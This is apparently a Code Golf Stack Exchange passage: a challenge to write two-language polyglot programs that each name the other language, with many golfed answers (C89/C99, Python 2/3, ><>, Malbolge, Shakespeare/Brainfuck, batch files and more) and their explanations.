%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x.%20xx%20x.%20x.%20). ]
[Question] [ Isn't it annoying when you find a piece of code and you don't know what language it was written in? This challenge attempts to somewhat solve this. # Challenge You will have to write a program that when run in two different languages, will output the string: `This program wasn't written in <language program compiled/interpreted in>, it was built for <other language the program can be run in>!` * In the output, language names should have official capitalization. eg: CJam, C++ * Neither program should take any input from the user. * When run in both languages, output should be to stdout or equivalent. * There should be no output to stderr in either program. * You may use comments in either language. * Two different versions of the same language count as different languages. + If this is done, the program should output the major version number, and if running on two different minor versions, should report the minor version also. + You should not use prebuilt version functions (this includes variables that have already been evaluated at runtime). ## Example output: Perl and Ruby: * Perl: `This program wasn't written in Perl, it was built for Ruby!` * Ruby: `This program wasn't written in Ruby, it was built for Perl!` Python and C: * Python: `This program wasn't written in Python, it was built for C!` * C: `This program wasn't written in C, it was built for Python!` Python 2 and Python 3: * Python 2: `This program wasn't written in Python 2, it was built for Python 3!` * Python 3: `This program wasn't written in Python 3, it was built for Python 2!` Python 2.4 and Python 2.7: * Python 2.4: `This program wasn't written in Python 2.4, it was built for Python 2.7!` * Python 2.7: `This program wasn't written in Python 2.7, it was built for Python 2.4!` **This is code golf so the shortest code in bytes wins.** [Answer] # C89/C99, ~~171~~ ~~152~~ ~~136~~ ~~114~~ ~~111~~ ~~107~~ 105 bytes Thanks at @Hurkyls, @Qwertiys, @jimmy23013 and @MD XF for your hints. golfed version: ``` c;main(){c=-4.5//**/ -4.5;printf("This program wasn't written in C%d, it was built for C%d!",90-c,98+c);} ``` ungolfed version: ``` c; main() { c = -4.5//**/ -4.5; printf("This program wasn't written in C%d, it was built for C%d!",90-c,98+c); } ``` **Little description:** C versions previous C99 just had the multiline comment like this: ``` /*foo*/ ``` with C99 the single line comment was introduced. like this: ``` //foo ``` so if you compile a line like this: ``` c =-4.5//**/ -4.5; ``` the for the c99 compiler compiling-related code would be: ``` c = -4.5 -4.5; ``` while the for a c89 compiler relevant code would be: (as the first `/` isn't part of a comment and therfor treat as operator) ``` c = -4.5 / -4.5; ``` [Answer] # [Foo](http://esolangs.org/wiki/Foo)/CJam, 70 bytes ``` "This program wasn't written in ""Foo"", it was built for ""CJam"\@"!" ``` In Foo, as many have found out, it just prints everything in the double quotes, and ignores most other character or does something that doesn't affect the output in most cases. In short, `\@` does nothing and the strings are all printed as-is. In CJam, `\` swaps the top two items, and `@` moves the 3rd item to the top, which arrange the strings into the right order. And after the program ends, everything left in the stack is automatically printed. [Answer] # JavaScript/Ruby, 170 bytes **Might be 2.0 only, doesn't appear to work in at least 2.1.5... Edit: Updates as per advice from [@Jordan](https://codegolf.stackexchange.com/users/11261/jordan) hopefully it works in a few more versions now!** ``` a='1';c=console=console||eval('def c.log s;$><<s end;c');c.log("This program wasn't written in "+(d=['JavaScript','Ruby'])[b= ~(a=~/1/)]+', it was built for '+d[b+1]+'!') ``` Abuses the `~` operator in that Ruby will treat `=~` as a regex match returning the position of the first match in the string (`0`), but JavaScript will treat it as `=` `~/1/` which is `-1` (since `/1/` is converted to `NaN` for numeric operations, which has `0` value). [Answer] # Python 2/Python 3, 92 Uses the "standard" Python version check (integer vs. float division). ``` print("This program wasn't written in Python %d, it was built for Python %d!"%(3/2*2,4-3/2)) ``` [Answer] # [Fishing](https://esolangs.org/wiki/Fishing)/[><>](https://esolangs.org/wiki/Fish) ~~233~~ 217 bytes ``` v++C-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC+CCCCCCC-CCCCCCCCCCCCCCCCCCC+CCCCCC \ "This program wasn't written in ""><>" ", it was built for Fishing!" >r!`ol?!;32. Fishing ><>!`N ``` --- **Fishing** is a language based on a fisherman walking around catching fish. To make a program in this language who first have to define a dock on which he walks around. The dock only provides control flow to a program. The dock in this program is: ``` v++C-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC+CCCCCCC-CCCCCCCCCCCCCCCCCCC+CCCCCC ``` Whenever the `C` command is found, the fisherman throws out his line to catch an instruction. The `+` and `-` instructions decrease and increase the length of his line respectively. `v` changes his throw direction to downwards. The fish that he catches in this program are: ``` `This program wasn't written in Fishing, it was built for ><>!`N ``` --- **><>** is a language based on a fish moving through the water. The `v` command starts the fish moving downwards, where it is then reflected to the right with the `\` command. Everything between quotes is pushed onto the stack. After the string is pushed onto the stack, the fish wraps around to the other side where it is reflected downwards by `\`. It then prints out the contents of the stack with: ``` >r!`ol?!;32. ``` [Answer] # [23](http://web.archive.org/web/20060717035053/http://www.philipp-winterberg.de/software/23e.php)/Malbolge, 5688 bytes ``` bCBA@?>=<;:987 6543210/.-,+*) ('&%$#"!~}|{zy xwvutsrqponmlk jihgfedcba`_^] \[ZYXWVUTSRQPO NMLKJIHGFEDCBA @?>=<;:9y76543 210/(L,l*)(!E} |B"!~}|{zyxwvu tsrqponmlkjiha fed]#a`_^]?zZY XWVUTSRQ3ONMLK JIHGFEDCBA:^>= <;:98705.R21q/ .-,+*#G'&%${"! x>|{zyxwYutm3k ponmlkjihg`&^c ba`_^]\[ZYXWVO sSRQPONMLEi,HG FEDCBA@?>=6Z:9 y76543210/.-,+ *)('&%$#"y?w|u ;sxwvutm3qSonm fkjiha'edcba`_ ^]\[ZYXWVUTSRQ PONM/EiIHGFEDC BA@?>7[;:987w5 432+O/o-,%I)(' &}$#z@~}|{zsxw vutsrqponmlkji ha'&dFba`_^]\U yYXWVUTMRQPONM LKDhH*F?DCBA@? 8\<;:98765432r 0/.-&J*)('&f$# "!~}|{zyxwvuts rqj0nmOkjihaf_ %cE[!_^]\[=SwW VU7SLpPONMLEJI HAeEDC%A@?>=<; :9876543210/.- ,+$H('&}${A!xw ={]yxwvutsrk1o nmOejib(fedcE" `_^]?[ZYRvVUT6 RKo2HMLKJIHAe EDCBA@?>=<;:9 87w5432+O/.-, +*)('&%e#"y?w |{zs9wvun4rqp onmlNjib(fedc ba`_^]\[ZYXWV 8TMqKPONMLKDh +GFEDCB;_?>=< ;:9y7654321*N .-,+*)('&f|{A !~}|{]yxwvo5s rqpinmlkjihg` &dcbD`_^]\[Tx ;WVUTMRQJnN0F KDhH*FEDC<A@? >=<5Y92765.R? ``` Note that the program requires a trailing linefeed. No line contains trailing whitespace, so copy/paste should work just fine. ### Verification To test the Malbolge code in [this online interpreter](http://www.matthias-ernst.eu/malbolge/debugger.html), paste it in the **Malbolge code** area and click `Load/Reset`, then `Execute`. To test the 23 code in [this online interpreter](http://web.archive.org/web/20070213142054/http://www.philipp-winterberg.de/software/23inte.php), paste it in the **Source** area, press `Enter` to insert the trailing linefeed, type `23` in the **Console** area (to switch from the default **23.dezsy** notation to auto-detection) and click `Run Interpreter!`. [Answer] ## Lua/C - 182 164 bytes ``` #if 0 print"This program wasn't written in Lua, it was built for C!"--[[ #endif main(){printf("This program wasn't written in C, it was built for Lua!\n");}/*]]--*/ ``` Takes advantage of the feature where Lua treats a hash mark on the first line as a comment to allow for Unix shebangs. Otherwise wraps the other language's comments in its own comments. To shave bytes, I rely on implicit behavior that only emits warnings in GCC and Clang: implicit declaration of int for main and implicit definition of printf. [Answer] # JavaScript/Haskell, ~~158 bytes~~ 147 bytes General idea: sneak each one's comment syntax into the other. In one line: ``` u="This program wasn't written in ";v=", it was built for ";j="JavaScript";h="Haskell";{-console.log(u+j+v+h+"!")}//-}main=putStrLn$u++h++v++j++"!" ``` What this looks like to Haskell: ``` -- some variable definitions u = "This program wasn't written in " v = ", it was built for " j = "JavaScript" h = "Haskell" -- a comment {-console.log(u+j+v+h+"!")}//-} -- the main method that does the dirty deed main = putStrLn $ u ++ h ++ v ++ j ++ "!" ``` What this looks like to JavaScript: ``` /* variables can be declared without `var` */ u = "This program wasn't written in "; v = ", it was built for "; j = "JavaScript"; h = "Haskell"; /* hey look, an anonymous block! */ { /* we negate the `undefined` that comes out of console.log */ -console.log(u+j+v+h+"!") } /* there are two automatic semicolon insertions here: one before `}` and one before EOF. */ /* a one-line comment. */ //-}main=putStrLn$u++h++v++j++"!" ``` [Answer] # Brainfuck/Foo, 769 bytes ``` -[--->+<]>-.[---->+++++<]>-.+.++++++++++.+[---->+<]>+++.[-->+++++++<]>.++.---.--------.+++++++++++.+++[->+++<]>++.++++++++++++.[->+++++<]>-.--[->++++<]>-.-[->+++<]>-.--[--->+<]>--.-----.[++>---<]>++.[->+++<]>-.[---->+<]>+++.--[->++++<]>-.-----.---------.+++++++++++..+++[->+++<]>.+++++++++.-[->+++++<]>-.-[--->++<]>-.+++++.-[->+++++<]>-.+[->++<]>.---[----->+<]>-.+++[->+++<]>++.++++++++.+++++.--------.-[--->+<]>--.+[->+++<]>+.++++++++.+++[----->++<]>.------------.-[--->++<]>-.+++++++++++.[---->+<]>+++.--[->++++<]>-.-[->+++<]>-.--[--->+<]>--.+[---->+<]>+++.[->+++<]>++.[--->+<]>-.------------.+++.++++++++.[---->+<]>+++.++[->+++<]>.+++++++++.+++.[-->+++++<]>+++.+++[->++<]>.+[--->+<]>++..[--->+<]>----."This program wasn't written in Foo, it was built for Brainfuck!" ``` An extremely intricate and complex answer... or not. [Answer] ## C / Python, 238 chars This doesn't print 100% exactly what's requested, but quite close. A reboot of [my valentine's day card](https://codegolf.stackexchange.com/a/20835/3544). ``` #define def main(){0? #define print printf( #define return 0)));} #define pass 0); def main(): print "This program wasn't written in ", pass print "Python", print ", it was built for ", print "C", return main(); ``` [Answer] ## C/C++, 136 ``` #include<stdio.h> int main(){ char*a="++",z=sizeof'c'/2; printf("This program wasn't written in C%s, it was built for C%s!\n",a+z,a+2-z); } ``` Newlines added for formatting. Try it in [C](http://ideone.com/XteSsr) or [C++](http://ideone.com/Sg1RQz). [Answer] # [Befunge](https://esolangs.org/wiki/Befunge)/[><>](https://esolangs.org/wiki/Fish), ~~141~~ ~~138~~ ~~134~~ ~~133~~ 130 bytes *[3 bytes saved](https://codegolf.stackexchange.com/questions/55960/im-not-the-language-youre-looking-for/55998#comment136152_55998) thanks to [@Cole](https://codegolf.stackexchange.com/users/42833/cole).* To be exact, I'm using Befunge-98. ``` \"!><> rof tliub saw ti ,egnufeB" >" rof nettirw t'nsaw margorp sih"'T>:#,_@'~~~~~~ >l?v"!egnufeB rof tliub saw ti ,><>"^ ?!;>ol ``` Using the facts that: * `\` is a mirror in ><> and swap in Befunge * `'string'` is a string in ><> and `'c` is a char in Befunge [Answer] # PHP/MySQL, 147 bytes ``` -- $argc;die("This program wasn't written in PHP, it was built for MySQL!"); SELECT("This program wasn't written in MySQL, it was built for PHP!"); ``` [Answer] ## Python 3/[><>](http://esolangs.org/wiki/Fish), ~~177~~ ~~173~~ ~~172~~ 167 Bytes Thanks to @mathmandan for shaving 5 bytes off! Well this was an experience, and a trying one, too. Any golf suggestions are welcome, since this is pretty long. I tried my best to reuse text, but it was quite difficult. Technically, it would be Python 3 that this program should output (and I could change that if I didn't meet the specs -- but in the example Python/C output `Python` was listed). ``` aa=" ni nettirw t'nsaw margorp sihT\"\"" v="><>!" #v "><>"r~/ a=", it was built for "+v#\a print(aa[-3::-1]+"Pytho" +"n"+a) # .4b;!?lor"!nohtyP r"~/ ``` Try it on an [online ><> interpreter](http://fishlanguage.com/playground) and a [Python 3 interpreter](http://ideone.com/fXBhXp) (the ><> interpreter requires you to input the code manually) Returns ``` This program wasn't written in ><>, it was built for Python! ``` in ><> and ``` This program wasn't written in Python, it was built for ><>! ``` in Python. **Explanation (Python)** For the Python side of things, it's pretty simple. Here's the code that we care about (basically the code without comments, which are denoted by a `#` in Python). Note that in Python `\` is an escape character when used in strings, so `\"` evaluates to `"` in the string. ``` aa=" ni nettirw t'nsaw margorp sihT\"\"" v="><>!" a=", it was built for "+v print(aa[-3::-1]+"Pytho" +"n"+a) ``` What we care most about here is the operations performed on the variable `aa`: ``` aa[-3::-1]: reverses the string and chops off the quotation marks (thanks to @mathmandan) ``` The print statement thus evaluates to ``` "This program wasn't written in " + "Pytho" + "n" + ", it was built for ><>!" ``` **Explanation (><>)** Now we get to the more difficult part. Once again, here's the code with the unnecessary bits removed. ``` aa=" ni nettirw t'nsaw margorp sihT\"\ v "><>"r~/ a=", it was built for "+v \a .4b;!?lor"!nohtyP r"~/ ``` **Line 1:** ``` aa=" ni nettirw t'nsaw margorp sihT\"\ aa= pushes 1 onto the stack (evaluates 10==10, basically) " ni ... \" pushes the first part plus a \ onto the stack. \ deflects the pointer downwards ``` The stack right now (if printed): `\This program wasn't written in` **Line 2:** Note that line 2 begins at the `/` because of the position of the pointer from line 1, and moves right to left. ``` v "><>"r~/ / deflects the pointer leftwards ~r pops the / off the stack and then reverses it "><>" pushes ><> onto the stack v deflects the pointer downwards ``` The stack right now: `><> ni nettirw t'nsaw margorp sihT` **Line 3:** Like the previous line, this one begins at the `\`, which is where line 2 sends the pointer. Note that because the pointer wraps around the line when it reaches the first `a` I'll be writing my explanation in order of where the pointer goes (and thus what is executed) ``` a=", it was built for "+v \a \aa= deflect and push 1 onto the stack ", i ... " push the string onto the stack +v sum the last two values pushed and deflect ``` The stack right now(`x` is the character formed by the addition of "r" and a space. -- it is not the actual character, just a placeholder from me): `xof tliub saw ti ,><> ni nettirw t'nsaw margorp sihT` **Line 4:** The pointer simply continues downwards so this line warrants no further explanation. **Line 5:** Starting at `/` and going leftwards. ``` .4b;!?lor"!nohtyP r"~/ ~"r Python!" pops x off and adds back r and a space r reverses the stack o pops and prints a character l?!; pushes the length of the stack and stops if it's 0 b4. pushes 11 then 4 then moves to that location (where o is) ``` The stack right now (the output reversed): `!nohtyP rof tliub saw ti ,><> ni nettirw t'nsaw margorp sihT` And that should be it for the explanation. Let me know if there is any inconsistency between the explanation/code or if I did anything wrong; I golfed down my code some more while I was in the middle of writing the explanation so I might have mixed bits of old and new code up. [Answer] # Batch .BAT File / Batch .CMD File, ~~194~~ 185 Bytes ``` @ECHO OFF SET a=BAT SET b=CMD CALL :F&&GOTO :C||GOTO :O :C SET a=CMD SET b=BAT :O ECHO This program wasn't written for %a% File, it was built for %b% File! GOTO :EOF :F md;2>nul SET v=1 ``` Edit: Saved 9 bytes, and corrected a missing `!` thanks to [DLosc](https://codegolf.stackexchange.com/users/16766/dlosc) Yeah, there's differences between BAT and CMD files. [Reference.](https://groups.google.com/forum/#!msg/microsoft.public.win2000.cmdprompt.admin/XHeUq8oe2wk/LIEViGNmkK0J) Essentially, CMD sets the `ERRORLEVEL` on a `SET` command, while BAT doesn't, meaning that here the `ERRORLEVEL` set by the malformed `md` command gets cleared by the `SET v=1` in one version but not the other. This script is based on the example provided by "Ritchie" in that newsgroup thread. Note that the shortened script above presumes `ENABLEEXTENSIONS` to be set `ON` (it is by default on every platform). The expanded script below explicitly sets it, to guarantee correct functionality. Without that, the `SET` command for CMD doesn't allow all extensions, and (on some systems, maybe) might not set the `ERRORLEVEL` appropriately. ### Expanded and remarked ``` @ECHO OFF setlocal ENABLEEXTENSIONS REM Call the :FUNC subroutine and branch based on the resulting errorlevel CALL :FUNC&&GOTO :CMD||GOTO :BAT REM Just in case. If we reach this, though, hoo-boy ... GOTO :EOF :BAT REM We're a BAT file, so set variables and goto output SET a=BAT SET b=CMD GOTO :OUTPUT :CMD REM We're a CMD file, so set variables and goto output SET a=CMD SET b=BAT GOTO :OUTPUT :OUTPUT REM Print out the result, then go to end of file ECHO This program wasn't written for %a% File, it was built for %b% File! GOTO :EOF :FUNC REM Simple subroutine to set the ERRORLEVEL appropriately md;2>nul REM Right now, ERRORLEVEL on both CMD and BAT is 1 SET v=1 REM Right now, ERRORLEVEL on CMD is 0, but BAT is still 1 ``` [Answer] # Javascript / C, ~~148~~ ~~146~~ 143 chars ``` //\ alert/* main(){puts/**/("This program wasn't written in "//\ +"Javascript"+/* "C"/**/", it was built for "//\ +"C!")/* "Javascript!");}/**/ ``` C: ~~<http://codepad.org/u8UimGLc>~~ ~~<http://codepad.org/Y80M5jpc>~~ <http://codepad.org/m4DB2Ndd> Javascript: just copy code to browser console [Answer] # CJam/GolfScript, 81 78 bytes ``` "This program wasn't written in "o"GolfScript"", it was built for ""CJam"oo"!" ``` Original 81 byte version: ``` "This program wasn't written in "["CJam"", it was built for ""GolfScript"]-1a%"!" ``` [Answer] ## BF/SPL, 5342 bytes I'm pretty sure this is the first Shakespeare Programming Language polyglot on this site. Probably not going to win any prizes. Works by sneaking BF code into act/scene/program titles. The SPL code uses exclamation points instead of periods except for a few cases. The programs aren't supposed to take input, so the commas in the character declarations are "commented out" by zeroing cells and putting square brackets around the commas. The same procedure applies when hiding the square brackets around the enter/exeunt statements. ``` [-][. Ford,. Page,. Act I:]+++++++++[>+++++++++<-]>+++. Scene I:>[. [Enter Ford and Page] Ford: You is sum of bad bad bad bad bad bad day and sum of bad bad bad bad day and bad bad day!Speak thy mind! Scene II:]<<++[>++++++++++<-]>. Page: You is sum of bad bad bad bad bad bad day and sum of bad bad bad bad bad day and bad bad bad day!Speak thy mind! Scene III:+. Page: You is sum of thyself and day!Speak thy mind! Scene IV:++++++++++. Page: You is sum of thyself and sum of bad bad bad day and bad day!Speak thy mind! Scene V:>++++[>++++++++<-]>. Ford: You is fat fat fat fat fat cat!Speak thy mind! Scene VI:[-<+>]<<---. Page: You is sum of thyself and sum of big pig and pig!Speak thy mind! Scene VII:++. Page: You is sum of thyself and fat cat!Speak thy mind! Scene VIII:---. Page: You is sum of thyself and sum of big pig and pig!Speak thy mind! Scene IX:--------. Page: You is sum of thyself and big big big pig!Speak thy mind! Scene X:+++++++++++. Page: You is sum of thyself and sum of fat fat fat cat and sum of fat cat and cat!Speak thy mind! Scene XI:<++++[->----<]>-. Page: You is sum of thyself and sum of big big big big pig and pig!Speak thy mind! Scene XII:++++++++++++. Page: You is sum of thyself and sum of fat fat fat fat cat and big big pig!Speak thy mind! Scene XIII:>. Ford: Speak thy mind! Scene XIV:<++++++++++. Page: You is sum of thyself and sum of fat fat fat cat and fat cat!Speak thy mind! Scene XV:<++++[->-----<]>--. Page: You is sum of thyself and sum of big big big big big pig and sum of fat fat fat cat and fat cat!Speak thy mind! Scene XVI:<++++[>++++<-]>++. Page: You is sum of thyself and sum of fat fat fat fat cat and fat cat!Speak thy mind! Scene XVII:-----. Page: You is sum of thyself and sum of big big pig and pig!Speak thy mind! Scene XVIII:>+++++++. Ford: You is sum of thyself and sum of fat fat fat cat and pig!Speak thy mind! Scene XIX:<++++++. Page: You is sum of thyself and sum of fat fat cat and fat cat!Speak thy mind! Scene XX:>-------. Ford: You is sum of thyself and sum of big big big pig and cat!Speak thy mind! Scene XXI:<+++. Page: You is sum of thyself and sum of fat cat and cat!Speak thy mind! Scene XXII:-----. Page: You is sum of thyself and sum of big big pig and pig!Speak thy mind! Scene XXIII:---------. Page: You is sum of thyself and sum of big big big pig and pig!Speak thy mind! Scene XXIV:+++++++++++. Page: You is sum of thyself and sum of cat and sum of fat cat and fat fat fat cat.Speak thy mind!Speak thy mind! Scene XXV:<+++[>-----<-]>. Page: You is sum of thyself and sum of big big big big pig and cat!Speak thy mind! Scene XXVI:+++++++++. Page: You is sum of thyself and sum of fat fat fat cat and cat!Speak thy mind! Scene XXVII:>. Ford: Speak thy mind! Scene XXVIII:<-----. Page: You is sum of thyself and sum of big big pig and pig!Speak thy mind! Scene XXIX:+++++. Page: You is sum of thyself and sum of fat fat cat and cat!Speak thy mind! Scene XXX:>. Ford: Speak thy mind! Scene XXXI:[->++<]>++. Page: You is sum of thyself and sum of big big big big big pig and sum of fat fat cat and cat!Speak thy mind!You is sum of thyself and sum of big pig and pig!Speak thy mind! Scene XXXII:++++. Page: You is sum of thyself and big red hog!Speak thy mind! Scene XXXIII:<+++++[>-----<-]>-. Page: You is sum of thyself and big big big big big pig!Speak thy mind! Scene XXXIV:[-<+>]<------------. Ford: Speak thy mind! Scene XXXV:<-----. Page: You is sum of thyself and sum of fat fat fat fat fat fat cat and sum of big pig and pig!Speak thy mind! Scene XXXVI:+++++++++++. Page: You is sum of thyself and sum of fat fat fat cat and sum of fat cat and cat!Speak thy mind! Scene XXXVII:>. Ford: Speak thy mind! Scene XXXVIII:<+++. Page: You is sum of thyself and sum of fat cat and cat!Speak thy mind! Scene XXXIX:<++++[->-----<]>--. Page: You is sum of thyself and sum of big big big big big pig and sum of fat fat fat cat and fat cat!Speak thy mind! Scene XL:<++++[>++++<-]>++. Page: You is sum of thyself and sum of fat fat fat fat cat and fat cat!Speak thy mind! Scene XLI:>. Ford: Speak thy mind! Scene XLII:<<++++[>----<-]>-. Page: You is sum of thyself and sum of big big big big pig and pig!Speak thy mind! Scene XLIII:<+++++[>++++<-]>-. Page: You is sum of thyself and sum of fat fat fat fat cat and sum of fat cat and cat!Speak thy mind! Scene XLIV:------------. Page: You is sum of thyself and sum of big big big big pig and fat fat cat!Speak thy mind! Scene XLV:+++. Page: You is sum of thyself and sum of fat cat and cat!Speak thy mind! Scene XLVI:++++++++. Page: You is sum of thyself and fat fat fat cat!Speak thy mind! Scene XLVII:>. Ford: Speak thy mind! Scene XLVIII:<--------------. Page: You is sum of thyself and sum of big big big big pig and fat cat!Speak thy mind! Scene XLIX:+++++++++. Page: You is sum of thyself and sum of fat fat fat cat and cat!Speak thy mind! Scene L:+++. Page: You is sum of thyself and sum of fat cat and cat!Speak thy mind! Scene LI:>. Ford: Speak thy mind! Scene LII:>+++++++[<+++++++>-]<++. Page: You is sum of thyself and sum of big big big big big pig and big big big big pig!Speak thy mind! Scene LIII:---. Page: You is sum of thyself and fat fat cat!Speak thy mind! Scene LIV:----. Ford: You is sum of thyself and cat!Speak thy mind! Scene LV:>+++++++[<------>-]<-. Ford: You is cat! Scene LVI:>[. [Exeunt] ``` Test out BF at <https://repl.it/E8Hh/23>. SPL code was tested at the compiler found here: <https://github.com/drsam94/Spl/>. [Answer] # PHP/Perl, ~~98~~ 96 bytes ``` $a="HP";$b="erl"; //;$a=$b;$b=HP; print"This code wasn't written in P$a, it was built for P$b!"; ``` Dunno if this is cheating or not, since as far as I can tell the only way to run PHP without an opening `<?` tag is something like `php -r $(cat codefile.php)`. But assuming that's legal... `//` is a PHP comment, but in Perl it's a regex (which, in a statement by itself, doesn't do anything). The rest should be pretty self-explanatory. *Edit:* Now using a bareword in the Perl-only part. I wanted to use those in the first place for both languages, but PHP displays a warning when you do that, contrary to "There should be no output to stderr." [Answer] # Ruby/Python, 105 chars ``` a=["Ruby","Python"];a.sort();print("This program wasn't written in "+a[0]+", it was built for "+a[1]+"!") ``` [Answer] # Python 2.7.9/Python 2.7.10, 127 bytes We've had a couple posts that used minor versions, but none that have gone to the next level down... ``` import types n=len(dir(types)) print"This program wasn't written in Python 2.7.%d, it was made for Python 2.7.%d!"%(n%33,-n%52) ``` Try it on [Ideone](http://ideone.com/zfwg9l) (Python 2.7.10) and [repl.it](https://repl.it/BHAh) (technically Python 2.7.2, but should give the same result as 2.7.9). Python 2.7.10, according to the [changelog](https://hg.python.org/cpython/raw-file/15c95b7d81dc/Misc/NEWS): > > Added an `__all__` to the `types` module. > > > This pushed `len(dir(types))` from 42 to 43, giving a numerical difference we can exploit to generate the desired output. [Answer] # **JavaScript 1.8/JavaScript 1.7, 89 bytes** ``` a=![].reduce;`This program wasn't written in JS 1.${8-a}, it was built for JS 1.${7+a}!` ``` Because [Array.prototype.reduce](https://developer.mozilla.org/it/docs/Web/JavaScript/New_in_JavaScript/1.8) is new in 1.8 **EDIT:** Golfed out 7 bytes by directly initializing `a` instead of using `reverse()` **EDIT:** [`JavaScript` can be written as `JS`](https://developer.mozilla.org/en-US/docs/Web/JavaScript), saving 8 bytes **EDIT:** Thanks Hedi for pointing out that I can save 3 more bytes if I don't use the variable `b` any more **EDIT:** Golfed out 6 bytes by computing `7+a` and `8-a`, where `a=1` if reduce is defined (JS 1.8) and `a=0` if it is not defined (JS 1.7) **EDIT:** Hedi golfed out 6 more bytes suggesting the use of template string **EDIT:** ETHproductions golfed out 2 bytes suggesting `a=!![].reduce;` instead of `a=[].reduce?1:0;` **EDIT:** no1xsyzy golfed out one more byte suggesting to revers the boolean check [Answer] # SWI-Prolog 6/SWI-Prolog 7, 156 bytes ``` P='SWI-Prolog ',A=6,B=7,(is_list(""),N=A,M=B;N=B,M=A),atomic_list_concat(['This program wasn\'t written in ',P,N,', it was built for ',P,M,'!'],W),write(W). ``` Uses the fact that double-quotes `""` are string codes (i.e. list of character codes) in SWI-Prolog versions older than 7, and are a proper String type in version 7. `is_list("")` will thus be false in version 7 and true in earlier versions. [Answer] # Ruby 1.8/Ruby 1.9, 87 ``` puts"This program wasn't written in Ruby 1.#{?9%49}, it was built for Ruby 1.#{?8%47}!" ``` In Ruby 1.8, `?9` is the ASCII value of "9", which is 8 modulo 49. In Ruby 1.9, it's the string "9", and `%49` is a formatting operation that does nothing since "9" doesn't have any format strings in it. [Answer] # sed / [Hexagony](https://github.com/m-ender/hexagony) 251 Bytes ``` /$/cThis program wasn't written in sed, it was built for Hexagony! #...>32;p;r;o;g;r;\+/;a;w;23+;m;a<.;.>s;n;+39;t;+32\s/;n;e;;t;i;r;w;<. |.>+32;i;n;+32;H;e\ ;/4+;y;n;o;g;a;x;< i>4;+32;i;t;+32;\;/u;b;23+;s;a;w<h>;i;l;t;+32;f\;/;s;23+;r;o;< T>e;d;+33;@ ``` sed: [Try it Online!](http://sed.tryitonline.net/#code=LyQvY1RoaXMgcHJvZ3JhbSB3YXNuJ3Qgd3JpdHRlbiBpbiBzZWQsIGl0IHdhcyBidWlsdCBmb3IgSGV4YWdvbnkhCiMuLi4-MzI7cDtyO287ZztyO1wrLzthO3c7MjMrO207YTwuOy4-cztuOyszOTt0OyszMlxzLztuO2U7O3Q7aTtyO3c7PC4gfC4-KzMyO2k7bjsrMzI7SDtlXCA7LzQrO3k7bjtvO2c7YTt4OzwgaT40OyszMjtpO3Q7KzMyO1w7L3U7YjsyMys7czthO3c8aD47aTtsO3Q7KzMyO2ZcOy87czsyMys7cjtvOzwgVD5lO2Q7KzMzO0A&input=&debug=on) Hexagony: [Try it 